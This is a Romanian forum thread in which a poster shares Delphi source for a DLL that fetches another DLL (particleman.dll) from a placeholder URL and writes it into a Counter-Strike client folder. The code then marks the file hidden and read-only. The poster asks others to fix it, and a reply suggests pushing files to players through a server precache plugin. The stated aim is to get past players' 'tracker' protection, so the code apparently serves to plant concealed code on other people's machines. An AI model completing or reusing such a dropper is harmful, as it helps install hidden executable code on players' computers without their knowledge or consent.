Jump to content
oORaZvANOo

Putin ajutor cu DLL

Recommended Posts

Salut am acest dll care trebuie sa downloadeze un alt dll si sa-l puna intr-un folder din cstrike (counterstrike)

library ProjectX;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }

uses
SysUtils,
IdHTTP,
Classes;

{$R *.res}
procedure DownloadFile(File1, File2: string); cdecl;
var
idHTTP1: TIdHTTP;
Stream: TMemoryStream;
begin
try
idHTTP1 := TIdHTTP.Create(nil);
Stream := TMemoryStream.Create;
IdHTTP1.Get(File1,Stream);
Stream.SaveToFile(File2);
Stream.Free;
except
end;
end;
var
BaseURL: String;
begin
BaseURL := 'URL UNDE AI PARTICLEMAN.DLL';
// =========================================
FileSetAttr('cstrike\cl_dlls\particleman.DLL', 128);
DownloadFile(BaseURL + 'particleman.DLL','cstrike\cl_dlls\particleman.DLL');
FileSetAttr('cstrike\cl_dlls\particleman.DLL', 1 + 2);
end.

Problema este ca nu merge... Nu downloadeaza nimic unde gresesc ? Ati putea va rog sam-mi dati codul functional?

Link to comment
Share on other sites

BaseURL := 'URL UNDE AI PARTICLEMAN.DLL';

daca nu ai trackerui si precache.amxx ca sa ii faca precache la tracker si sa-l descarce degeaba . ca prin el il descarci pe celalalt sau poti pur si simplu prin precache sa-l descarci direct pe ala

Link to comment
Share on other sites

Prechace nu mai merge in folderul cl_dlls :) am pus bine la baseurl link dar tot nu descarca nimic..... DLL se activeaza dar nu face download.

As face cu tracker dar multi playeri il au in cs si degeaba il bag :) pentru asta am particleman.dll ca sa treaca de trackerui. E ceva gen CTshield sa zicem .

Deci am ceva gresit in cod? Sau daca nu o explicatie de ce nu downloadeaza dllul

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...